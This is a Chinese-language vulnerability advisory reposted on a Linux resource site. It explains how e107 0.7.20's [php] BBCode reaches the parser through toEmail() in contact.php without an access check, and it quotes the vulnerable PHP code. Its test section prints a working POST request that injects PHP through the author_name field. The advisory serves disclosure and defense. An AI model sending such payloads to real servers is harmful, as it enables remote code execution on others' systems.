Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / e107 BBCode任意PHP代码执行漏洞

发布日期:2009-05-19
更新日期:2010-05-20受影响系统:
e107.org e107 0.7.20
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 40252e107是用php编写的内容管理系统。 e107中的bbcode [php]允许执行任意PHP代码。由于这种方式比较危险,e107的配置通常禁止所有用户访问这个bbcode,管理员可以对特定的用户组按需激活这个功能。e107中的访问控制检查没有在bbcode解析器内部而是在一些调用bbcode解析器的外部功能中实现,例如:    function post_toHTML($text, $modifier = true, $extra = "") {
        ...        //If user is not allowed to use [php] change to entities
        if(!check_class($pref["php_bbcode"]))
        {
            $text = preg_replace("#[(php)#i", "[\1", $text);
        }        return ($modifier ? $this->toHTML($text, true, $extra) : $text);
    }这段代码显示toHTML()方式中没有对[php]执行访问检查,因为已在外部执行了检查。这意味着用户输入不应直接到达toHTML()方式,否则可能会导致执行远程PHP代码。但在其他一些地方用户输入可以到达toHTML(),如在toEmail()方式中:    function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
    {
        if ($posted === TRUE && MAGIC_QUOTES_GPC)
        {
            $text = stripslashes($text);
        }        $text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
        $text = $this->toHTML($text,TRUE,$mods);
        return $text;
    }如果toEmail()方式中使用了用户输入,就可能会导致执行远程PHP代码。出现这种情况的一个示例是contact.php文件中:if(isset($_POST["send-contactus"])){    $error = "";    $sender_name = $tp->toEmail($_POST["author_name"],TRUE,"rawtext");
    $sender = check_email($_POST["email_send"]);
    $subject = $tp->toEmail($_POST["subject"],TRUE,"rawtext");
    $body = $tp->toEmail($_POST["body"],TRUE,"rawtext");向contact.php文件提交POST请求就会导致在服务器上执行任意PHP代码。<*来源:Stefan Esser (s.esser@ematters.de)
 
  链接:http://marc.info/?l=bugtraq&m=127428273900680&w=2
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&建议:
--------------------------------------------------------------------------------
厂商补丁:e107.org
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://e107.org/PHP iconv_substr()函数中断处理信息泄露漏洞Sun Solaris嵌套目录树处理本地拒绝服务漏洞相关资讯      漏洞 
  • 快递官网漏洞泄露 1400 万用户信息  (08/12/2014 08:37:42)
  • 要389目录服务器访问绕过漏洞  (10/01/2012 09:18:08)
  • ASUS Net4Switch "ipswcom.dll"   (03/02/2012 09:32:42)
  • 软件漏洞是一笔大买卖!  (10/06/2012 08:28:32)
  • PHPCMS V9.1.13任意文件包含漏洞分  (08/01/2012 07:23:17)
  • Open Handset Alliance Android   (03/01/2012 06:59:34)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款